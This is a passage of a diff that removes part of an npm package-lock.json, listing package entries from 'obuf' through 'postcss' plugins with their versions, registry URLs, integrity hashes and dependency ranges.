-      "integrity": "sha512-WTa54g2K8iu0kmS/us18jEmdv1a4Wi//BZ/DTVYEcH0XhLM5NYdpDHja3gt57VrZLcNAO2WGA+KpWsDBaHt6eA==",
-      "requires": {
-        "define-properties": "^1.1.3",
-        "es-abstract": "^1.17.0-next.1",
-        "function-bind": "^1.1.1",
-        "has": "^1.0.3"
-      }
-    },
-    "obuf": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npmjs.org/obuf/-/obuf-1.1.2.tgz",
-      "integrity": "sha512-PX1wu0AmAdPqOL1mWhqmlOd8kOIZQwGZw6rh7uby9fTc5lhaOWFLX3I6R1hrF9k3zUY40e6igsLGkDXK92LJNg=="
-    },
-    "on-finished": {
-      "version": "2.3.0",
-      "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.3.0.tgz",
-      "integrity": "sha1-IPEzZIGwg811M3mSoWlxqi2QaUc=",
-      "requires": {
-        "ee-first": "1.1.1"
-      }
-    },
-    "on-headers": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/on-headers/-/on-headers-1.0.2.tgz",
-      "integrity": "sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA=="
-    },
-    "once": {
-      "version": "1.4.0",
-      "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
-      "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=",
-      "requires": {
-        "wrappy": "1"
-      }
-    },
-    "onetime": {
-      "version": "5.1.0",
-      "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.0.tgz",
-      "integrity": "sha512-5NcSkPHhwTVFIQN+TUqXoS5+dlElHXdpAWu9I0HP20YOtIi+aZ0Ct82jdlILDxjLEAWwvm+qj1m6aEtsDVmm6Q==",
-      "requires": {
-        "mimic-fn": "^2.1.0"
-      }
-    },
-    "open": {
-      "version": "7.0.3",
-      "resolved": "https://registry.npmjs.org/open/-/open-7.0.3.tgz",
-      "integrity": "sha512-sP2ru2v0P290WFfv49Ap8MF6PkzGNnGlAwHweB4WR4mr5d2d0woiCluUeJ218w7/+PmoBy9JmYgD5A4mLcWOFA==",
-      "requires": {
-        "is-docker": "^2.0.0",
-        "is-wsl": "^2.1.1"
-      },
-      "dependencies": {
-        "is-wsl": {
-          "version": "2.1.1",
-          "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-2.1.1.tgz",
-          "integrity": "sha512-umZHcSrwlDHo2TGMXv0DZ8dIUGunZ2Iv68YZnrmCiBPkZ4aaOhtv7pXJKeki9k3qJ3RJr0cDyitcl5wEH3AYog=="
-        }
-      }
-    },
-    "opn": {
-      "version": "5.5.0",
-      "resolved": "https://registry.npmjs.org/opn/-/opn-5.5.0.tgz",
-      "integrity": "sha512-PqHpggC9bLV0VeWcdKhkpxY+3JTzetLSqTCWL/z/tFIbI6G8JCjondXklT1JinczLz2Xib62sSp0T/gKT4KksA==",
-      "requires": {
-        "is-wsl": "^1.1.0"
-      }
-    },
-    "optimize-css-assets-webpack-plugin": {
-      "version": "5.0.3",
-      "resolved": "https://registry.npmjs.org/optimize-css-assets-webpack-plugin/-/optimize-css-assets-webpack-plugin-5.0.3.tgz",
-      "integrity": "sha512-q9fbvCRS6EYtUKKSwI87qm2IxlyJK5b4dygW1rKUBT6mMDhdG5e5bZT63v6tnJR9F9FB/H5a0HTmtw+laUBxKA==",
-      "requires": {
-        "cssnano": "^4.1.10",
-        "last-call-webpack-plugin": "^3.0.0"
-      }
-    },
-    "optionator": {
-      "version": "0.8.3",
-      "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.3.tgz",
-      "integrity": "sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==",
-      "requires": {
-        "deep-is": "~0.1.3",
-        "fast-levenshtein": "~2.0.6",
-        "levn": "~0.3.0",
-        "prelude-ls": "~1.1.2",
-        "type-check": "~0.3.2",
-        "word-wrap": "~1.2.3"
-      }
-    },
-    "original": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/original/-/original-1.0.2.tgz",
-      "integrity": "sha512-hyBVl6iqqUOJ8FqRe+l/gS8H+kKYjrEndd5Pm1MfBtsEKA038HkkdbAl/72EAXGyonD/PFsvmVG+EvcIpliMBg==",
-      "requires": {
-        "url-parse": "^1.4.3"
-      }
-    },
-    "os-browserify": {
-      "version": "0.3.0",
-      "resolved": "https://registry.npmjs.org/os-browserify/-/os-browserify-0.3.0.tgz",
-      "integrity": "sha1-hUNzx/XCMVkU/Jv8a9gjj92h7Cc="
-    },
-    "os-locale": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-3.1.0.tgz",
-      "integrity": "sha512-Z8l3R4wYWM40/52Z+S265okfFj8Kt2cC2MKY+xNi3kFs+XGI7WXu/I309QQQYbRW4ijiZ+yxs9pqEhJh0DqW3Q==",
-      "requires": {
-        "execa": "^1.0.0",
-        "lcid": "^2.0.0",
-        "mem": "^4.0.0"
-      }
-    },
-    "os-tmpdir": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz",
-      "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ="
-    },
-    "p-defer": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/p-defer/-/p-defer-1.0.0.tgz",
-      "integrity": "sha1-n26xgvbJqozXQwBKfU+WsZaw+ww="
-    },
-    "p-each-series": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/p-each-series/-/p-each-series-1.0.0.tgz",
-      "integrity": "sha1-kw89Et0fUOdDRFeiLNbwSsatf3E=",
-      "requires": {
-        "p-reduce": "^1.0.0"
-      }
-    },
-    "p-finally": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz",
-      "integrity": "sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4="
-    },
-    "p-is-promise": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/p-is-promise/-/p-is-promise-2.1.0.tgz",
-      "integrity": "sha512-Y3W0wlRPK8ZMRbNq97l4M5otioeA5lm1z7bkNkxCka8HSPjR0xRWmpCmc9utiaLP9Jb1eD8BgeIxTW4AIF45Pg=="
-    },
-    "p-limit": {
-      "version": "1.3.0",
-      "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-1.3.0.tgz",
-      "integrity": "sha512-vvcXsLAJ9Dr5rQOPk7toZQZJApBl2K4J6dANSsEuh6QI41JYcsS/qhTGa9ErIUUgK3WNQoJYvylxvjqmiqEA9Q==",
-      "requires": {
-        "p-try": "^1.0.0"
-      }
-    },
-    "p-locate": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-2.0.0.tgz",
-      "integrity": "sha1-IKAQOyIqcMj9OcwuWAaA893l7EM=",
-      "requires": {
-        "p-limit": "^1.1.0"
-      }
-    },
-    "p-map": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/p-map/-/p-map-3.0.0.tgz",
-      "integrity": "sha512-d3qXVTF/s+W+CdJ5A29wywV2n8CQQYahlgz2bFiA+4eVNJbHJodPZ+/gXwPGh0bOqA+j8S+6+ckmvLGPk1QpxQ==",
-      "requires": {
-        "aggregate-error": "^3.0.0"
-      }
-    },
-    "p-reduce": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/p-reduce/-/p-reduce-1.0.0.tgz",
-      "integrity": "sha1-GMKw3ZNqRpClKfgjH1ig/bakffo="
-    },
-    "p-retry": {
-      "version": "3.0.1",
-      "resolved": "https://registry.npmjs.org/p-retry/-/p-retry-3.0.1.tgz",
-      "integrity": "sha512-XE6G4+YTTkT2a0UWb2kjZe8xNwf8bIbnqpc/IS/idOBVhyves0mK5OJgeocjx7q5pvX/6m23xuzVPYT1uGM73w==",
-      "requires": {
-        "retry": "^0.12.0"
-      }
-    },
-    "p-try": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/p-try/-/p-try-1.0.0.tgz",
-      "integrity": "sha1-y8ec26+P1CKOE/Yh8rGiN8GyB7M="
-    },
-    "pako": {
-      "version": "1.0.11",
-      "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.11.tgz",
-      "integrity": "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw=="
-    },
-    "parallel-transform": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npmjs.org/parallel-transform/-/parallel-transform-1.2.0.tgz",
-      "integrity": "sha512-P2vSmIu38uIlvdcU7fDkyrxj33gTUy/ABO5ZUbGowxNCopBq/OoD42bP4UmMrJoPyk4Uqf0mu3mtWBhHCZD8yg==",
-      "requires": {
-        "cyclist": "^1.0.1",
-        "inherits": "^2.0.3",
-        "readable-stream": "^2.1.5"
-      },
-      "dependencies": {
-        "readable-stream": {
-          "version": "2.3.7",
-          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
-          "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
-          "requires": {
-            "core-util-is": "~1.0.0",
-            "inherits": "~2.0.3",
-            "isarray": "~1.0.0",
-            "process-nextick-args": "~2.0.0",
-            "safe-buffer": "~5.1.1",
-            "string_decoder": "~1.1.1",
-            "util-deprecate": "~1.0.1"
-          }
-        },
-        "string_decoder": {
-          "version": "1.1.1",
-          "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
-          "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
-          "requires": {
-            "safe-buffer": "~5.1.0"
-          }
-        }
-      }
-    },
-    "param-case": {
-      "version": "3.0.3",
-      "resolved": "https://registry.npmjs.org/param-case/-/param-case-3.0.3.tgz",
-      "integrity": "sha512-VWBVyimc1+QrzappRs7waeN2YmoZFCGXWASRYX1/rGHtXqEcrGEIDm+jqIwFa2fRXNgQEwrxaYuIrX0WcAguTA==",
-      "requires": {
-        "dot-case": "^3.0.3",
-        "tslib": "^1.10.0"
-      }
-    },
-    "parent-module": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz",
-      "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==",
-      "requires": {
-        "callsites": "^3.0.0"
-      },
-      "dependencies": {
-        "callsites": {
-          "version": "3.1.0",
-          "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz",
-          "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ=="
-        }
-      }
-    },
-    "parse-asn1": {
-      "version": "5.1.5",
-      "resolved": "https://registry.npmjs.org/parse-asn1/-/parse-asn1-5.1.5.tgz",
-      "integrity": "sha512-jkMYn1dcJqF6d5CpU689bq7w/b5ALS9ROVSpQDPrZsqqesUJii9qutvoT5ltGedNXMO2e16YUWIghG9KxaViTQ==",
-      "requires": {
-        "asn1.js": "^4.0.0",
-        "browserify-aes": "^1.0.0",
-        "create-hash": "^1.1.0",
-        "evp_bytestokey": "^1.0.0",
-        "pbkdf2": "^3.0.3",
-        "safe-buffer": "^5.1.1"
-      }
-    },
-    "parse-json": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-4.0.0.tgz",
-      "integrity": "sha1-vjX1Qlvh9/bHRxhPmKeIy5lHfuA=",
-      "requires": {
-        "error-ex": "^1.3.1",
-        "json-parse-better-errors": "^1.0.1"
-      }
-    },
-    "parse5": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/parse5/-/parse5-4.0.0.tgz",
-      "integrity": "sha512-VrZ7eOd3T1Fk4XWNXMgiGBK/z0MG48BWG2uQNU4I72fkQuKUTZpl+u9k+CxEG0twMVzSmXEEz12z5Fnw1jIQFA=="
-    },
-    "parseurl": {
-      "version": "1.3.3",
-      "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz",
-      "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ=="
-    },
-    "pascal-case": {
-      "version": "3.1.1",
-      "resolved": "https://registry.npmjs.org/pascal-case/-/pascal-case-3.1.1.tgz",
-      "integrity": "sha512-XIeHKqIrsquVTQL2crjq3NfJUxmdLasn3TYOU0VBM+UX2a6ztAWBlJQBePLGY7VHW8+2dRadeIPK5+KImwTxQA==",
-      "requires": {
-        "no-case": "^3.0.3",
-        "tslib": "^1.10.0"
-      }
-    },
-    "pascalcase": {
-      "version": "0.1.1",
-      "resolved": "https://registry.npmjs.org/pascalcase/-/pascalcase-0.1.1.tgz",
-      "integrity": "sha1-s2PlXoAGym/iF4TS2yK9FdeRfxQ="
-    },
-    "path-browserify": {
-      "version": "0.0.1",
-      "resolved": "https://registry.npmjs.org/path-browserify/-/path-browserify-0.0.1.tgz",
-      "integrity": "sha512-BapA40NHICOS+USX9SN4tyhq+A2RrN/Ws5F0Z5aMHDp98Fl86lX8Oti8B7uN93L4Ifv4fHOEA+pQw87gmMO/lQ=="
-    },
-    "path-dirname": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/path-dirname/-/path-dirname-1.0.2.tgz",
-      "integrity": "sha1-zDPSTVJeCZpTiMAzbG4yuRYGCeA="
-    },
-    "path-exists": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz",
-      "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU="
-    },
-    "path-is-absolute": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz",
-      "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18="
-    },
-    "path-is-inside": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/path-is-inside/-/path-is-inside-1.0.2.tgz",
-      "integrity": "sha1-NlQX3t5EQw0cEa9hAn+s8HS9/FM="
-    },
-    "path-key": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/path-key/-/path-key-2.0.1.tgz",
-      "integrity": "sha1-QRyttXTFoUDTpLGRDUDYDMn0C0A="
-    },
-    "path-parse": {
-      "version": "1.0.6",
-      "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.6.tgz",
-      "integrity": "sha512-GSmOT2EbHrINBf9SR7CDELwlJ8AENk3Qn7OikK4nFYAu3Ote2+JYNVvkpAEQm3/TLNEJFD/xZJjzyxg3KBWOzw=="
-    },
-    "path-to-regexp": {
-      "version": "0.1.7",
-      "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz",
-      "integrity": "sha1-32BBeABfUi8V60SQ5yR6G/qmf4w="
-    },
-    "path-type": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/path-type/-/path-type-3.0.0.tgz",
-      "integrity": "sha512-T2ZUsdZFHgA3u4e5PfPbjd7HDDpxPnQb5jN0SrDsjNSuVXHJqtwTnWqG0B1jZrgmJ/7lj1EmVIByWt1gxGkWvg==",
-      "requires": {
-        "pify": "^3.0.0"
-      }
-    },
-    "pbkdf2": {
-      "version": "3.0.17",
-      "resolved": "https://registry.npmjs.org/pbkdf2/-/pbkdf2-3.0.17.tgz",
-      "integrity": "sha512-U/il5MsrZp7mGg3mSQfn742na2T+1/vHDCG5/iTI3X9MKUuYUZVLQhyRsg06mCgDBTd57TxzgZt7P+fYfjRLtA==",
-      "requires": {
-        "create-hash": "^1.1.2",
-        "create-hmac": "^1.1.4",
-        "ripemd160": "^2.0.1",
-        "safe-buffer": "^5.0.1",
-        "sha.js": "^2.4.8"
-      }
-    },
-    "performance-now": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz",
-      "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns="
-    },
-    "picomatch": {
-      "version": "2.2.2",
-      "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.2.2.tgz",
-      "integrity": "sha512-q0M/9eZHzmr0AulXyPwNfZjtwZ/RBZlbN3K3CErVrk50T2ASYI7Bye0EvekFY3IP1Nt2DHu0re+V2ZHIpMkuWg=="
-    },
-    "pify": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz",
-      "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY="
-    },
-    "pinkie": {
-      "version": "2.0.4",
-      "resolved": "https://registry.npmjs.org/pinkie/-/pinkie-2.0.4.tgz",
-      "integrity": "sha1-clVrgM+g1IqXToDnckjoDtT3+HA="
-    },
-    "pinkie-promise": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/pinkie-promise/-/pinkie-promise-2.0.1.tgz",
-      "integrity": "sha1-ITXW36ejWMBprJsXh3YogihFD/o=",
-      "requires": {
-        "pinkie": "^2.0.0"
-      }
-    },
-    "pirates": {
-      "version": "4.0.1",
-      "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.1.tgz",
-      "integrity": "sha512-WuNqLTbMI3tmfef2TKxlQmAiLHKtFhlsCZnPIpuv2Ow0RDVO8lfy1Opf4NUzlMXLjPl+Men7AuVdX6TA+s+uGA==",
-      "requires": {
-        "node-modules-regexp": "^1.0.0"
-      }
-    },
-    "pkg-dir": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-3.0.0.tgz",
-      "integrity": "sha512-/E57AYkoeQ25qkxMj5PBOVgF8Kiu/h7cYS30Z5+R7WaiCCBfLq58ZI/dSeaEKb9WVJV5n/03QwrN3IeWIFllvw==",
-      "requires": {
-        "find-up": "^3.0.0"
-      },
-      "dependencies": {
-        "find-up": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz",
-          "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==",
-          "requires": {
-            "locate-path": "^3.0.0"
-          }
-        },
-        "locate-path": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz",
-          "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==",
-          "requires": {
-            "p-locate": "^3.0.0",
-            "path-exists": "^3.0.0"
-          }
-        },
-        "p-limit": {
-          "version": "2.3.0",
-          "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
-          "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
-          "requires": {
-            "p-try": "^2.0.0"
-          }
-        },
-        "p-locate": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz",
-          "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==",
-          "requires": {
-            "p-limit": "^2.0.0"
-          }
-        },
-        "p-try": {
-          "version": "2.2.0",
-          "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz",
-          "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ=="
-        }
-      }
-    },
-    "pkg-up": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/pkg-up/-/pkg-up-2.0.0.tgz",
-      "integrity": "sha1-yBmscoBZpGHKscOImivjxJoATX8=",
-      "requires": {
-        "find-up": "^2.1.0"
-      }
-    },
-    "pn": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/pn/-/pn-1.1.0.tgz",
-      "integrity": "sha512-2qHaIQr2VLRFoxe2nASzsV6ef4yOOH+Fi9FBOVH6cqeSgUnoyySPZkxzLuzd+RYOQTRpROA0ztTMqxROKSb/nA=="
-    },
-    "pnp-webpack-plugin": {
-      "version": "1.6.4",
-      "resolved": "https://registry.npmjs.org/pnp-webpack-plugin/-/pnp-webpack-plugin-1.6.4.tgz",
-      "integrity": "sha512-7Wjy+9E3WwLOEL30D+m8TSTF7qJJUJLONBnwQp0518siuMxUQUbgZwssaFX+QKlZkjHZcw/IpZCt/H0srrntSg==",
-      "requires": {
-        "ts-pnp": "^1.1.6"
-      }
-    },
-    "portfinder": {
-      "version": "1.0.25",
-      "resolved": "https://registry.npmjs.org/portfinder/-/portfinder-1.0.25.tgz",
-      "integrity": "sha512-6ElJnHBbxVA1XSLgBp7G1FiCkQdlqGzuF7DswL5tcea+E8UpuvPU7beVAjjRwCioTS9ZluNbu+ZyRvgTsmqEBg==",
-      "requires": {
-        "async": "^2.6.2",
-        "debug": "^3.1.1",
-        "mkdirp": "^0.5.1"
-      },
-      "dependencies": {
-        "debug": {
-          "version": "3.2.6",
-          "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz",
-          "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==",
-          "requires": {
-            "ms": "^2.1.1"
-          }
-        }
-      }
-    },
-    "posix-character-classes": {
-      "version": "0.1.1",
-      "resolved": "https://registry.npmjs.org/posix-character-classes/-/posix-character-classes-0.1.1.tgz",
-      "integrity": "sha1-AerA/jta9xoqbAL+q7jB/vfgDqs="
-    },
-    "postcss": {
-      "version": "7.0.27",
-      "resolved": "https://registry.npmjs.org/postcss/-/postcss-7.0.27.tgz",
-      "integrity": "sha512-WuQETPMcW9Uf1/22HWUWP9lgsIC+KEHg2kozMflKjbeUtw9ujvFX6QmIfozaErDkmLWS9WEnEdEe6Uo9/BNTdQ==",
-      "requires": {
-        "chalk": "^2.4.2",
-        "source-map": "^0.6.1",
-        "supports-color": "^6.1.0"
-      },
-      "dependencies": {
-        "supports-color": {
-          "version": "6.1.0",
-          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-6.1.0.tgz",
-          "integrity": "sha512-qe1jfm1Mg7Nq/NSh6XE24gPXROEVsWHxC1LIx//XNlD9iw7YZQGjZNjYN7xGaEG6iKdA8EtNFW6R0gjnVXp+wQ==",
-          "requires": {
-            "has-flag": "^3.0.0"
-          }
-        }
-      }
-    },
-    "postcss-attribute-case-insensitive": {
-      "version": "4.0.2",
-      "resolved": "https://registry.npmjs.org/postcss-attribute-case-insensitive/-/postcss-attribute-case-insensitive-4.0.2.tgz",
-      "integrity": "sha512-clkFxk/9pcdb4Vkn0hAHq3YnxBQ2p0CGD1dy24jN+reBck+EWxMbxSUqN4Yj7t0w8csl87K6p0gxBe1utkJsYA==",
-      "requires": {
-        "postcss": "^7.0.2",
-        "postcss-selector-parser": "^6.0.2"
-      }
-    },
-    "postcss-browser-comments": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/postcss-browser-comments/-/postcss-browser-comments-3.0.0.tgz",
-      "integrity": "sha512-qfVjLfq7HFd2e0HW4s1dvU8X080OZdG46fFbIBFjW7US7YPDcWfRvdElvwMJr2LI6hMmD+7LnH2HcmXTs+uOig==",
-      "requires": {
-        "postcss": "^7"
-      }
-    },
-    "postcss-calc": {
-      "version": "7.0.2",
-      "resolved": "https://registry.npmjs.org/postcss-calc/-/postcss-calc-7.0.2.tgz",
-      "integrity": "sha512-rofZFHUg6ZIrvRwPeFktv06GdbDYLcGqh9EwiMutZg+a0oePCCw1zHOEiji6LCpyRcjTREtPASuUqeAvYlEVvQ==",
-      "requires": {
-        "postcss": "^7.0.27",
-        "postcss-selector-parser": "^6.0.2",
-        "postcss-value-parser": "^4.0.2"
-      }
-    },
-    "postcss-color-functional-notation": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/postcss-color-functional-notation/-/postcss-color-functional-notation-2.0.1.tgz",
-      "integrity": "sha512-ZBARCypjEDofW4P6IdPVTLhDNXPRn8T2s1zHbZidW6rPaaZvcnCS2soYFIQJrMZSxiePJ2XIYTlcb2ztr/eT2g==",
-      "requires": {
-        "postcss": "^7.0.2",
-        "postcss-values-parser": "^2.0.0"
-      }
-    },
-    "postcss-color-gray": {
-      "version": "5.0.0",
-      "resolved": "https://registry.npmjs.org/postcss-color-gray/-/postcss-color-gray-5.0.0.tgz",
-      "integrity": "sha512-q6BuRnAGKM/ZRpfDascZlIZPjvwsRye7UDNalqVz3s7GDxMtqPY6+Q871liNxsonUw8oC61OG+PSaysYpl1bnw==",
-      "requires": {
-        "@csstools/convert-colors": "^1.4.0",
-        "postcss": "^7.0.5",
-        "postcss-values-parser": "^2.0.0"
-      }
-    },
-    "postcss-color-hex-alpha": {
-      "version": "5.0.3",
-      "resolved": "https://registry.npmjs.org/postcss-color-hex-alpha/-/postcss-color-hex-alpha-5.0.3.tgz",
-      "integrity": "sha512-PF4GDel8q3kkreVXKLAGNpHKilXsZ6xuu+mOQMHWHLPNyjiUBOr75sp5ZKJfmv1MCus5/DWUGcK9hm6qHEnXYw==",
-      "requires": {
-        "postcss": "^7.0.14",
-        "postcss-values-parser": "^2.0.1"
-      }
-    },
-    "postcss-color-mod-function": {
-      "version": "3.0.3",
-      "resolved": "https://registry.npmjs.org/postcss-color-mod-function/-/postcss-color-mod-function-3.0.3.tgz",
-      "integrity": "sha512-YP4VG+xufxaVtzV6ZmhEtc+/aTXH3d0JLpnYfxqTvwZPbJhWqp8bSY3nfNzNRFLgB4XSaBA82OE4VjOOKpCdVQ==",
-      "requires": {
-        "@csstools/convert-colors": "^1.4.0",
-        "postcss": "^7.0.2",
-        "postcss-values-parser": "^2.0.0"
-      }
-    },
-    "postcss-color-rebeccapurple": {
-      "version": "4.0.1",
-      "resolved": "https://registry.npmjs.org/postcss-color-rebeccapurple/-/postcss-color-rebeccapurple-4.0.1.tgz",
-      "integrity": "sha512-aAe3OhkS6qJXBbqzvZth2Au4V3KieR5sRQ4ptb2b2O8wgvB3SJBsdG+jsn2BZbbwekDG8nTfcCNKcSfe/lEy8g==",
-      "requires": {
-        "postcss": "^7.0.2",
-        "postcss-values-parser": "^2.0.0"
-      }
-    },
-    "postcss-colormin": {
-      "version": "4.0.3",
-      "resolved": "https://registry.npmjs.org/postcss-colormin/-/postcss-colormin-4.0.3.tgz",
-      "integrity": "sha512-WyQFAdDZpExQh32j0U0feWisZ0dmOtPl44qYmJKkq9xFWY3p+4qnRzCHeNrkeRhwPHz9bQ3mo0/yVkaply0MNw==",
-      "requires": {
-        "browserslist": "^4.0.0",
-        "color": "^3.0.0",
-        "has": "^1.0.0",
-        "postcss": "^7.0.0",
-        "postcss-value-parser": "^3.0.0"
-      },
-      "dependencies": {
-        "postcss-value-parser": {
-          "version": "3.3.1",
-          "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
-          "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ=="
-        }
-      }
-    },
-    "postcss-convert-values": {
-      "version": "4.0.1",
-      "resolved": "https://registry.npmjs.org/postcss-convert-values/-/postcss-convert-values-4.0.1.tgz",
-      "integrity": "sha512-Kisdo1y77KUC0Jmn0OXU/COOJbzM8cImvw1ZFsBgBgMgb1iL23Zs/LXRe3r+EZqM3vGYKdQ2YJVQ5VkJI+zEJQ==",
-      "requires": {
-        "postcss": "^7.0.0",
-        "postcss-value-parser": "^3.0.0"
-      },
-      "dependencies": {
-        "postcss-value-parser": {
-          "version": "3.3.1",
-          "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
-          "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ=="
-        }
-      }
-    },
-    "postcss-custom-media": {
-      "version": "7.0.8",
-      "resolved": "https://registry.npmjs.org/postcss-custom-media/-/postcss-custom-media-7.0.8.tgz",
-      "integrity": "sha512-c9s5iX0Ge15o00HKbuRuTqNndsJUbaXdiNsksnVH8H4gdc+zbLzr/UasOwNG6CTDpLFekVY4672eWdiiWu2GUg==",
-      "requires": {
-        "postcss": "^7.0.14"
-      }
-    },
-    "postcss-custom-properties": {
-      "version": "8.0.11",
-      "resolved": "https://registry.npmjs.org/postcss-custom-properties/-/postcss-custom-properties-8.0.11.tgz",
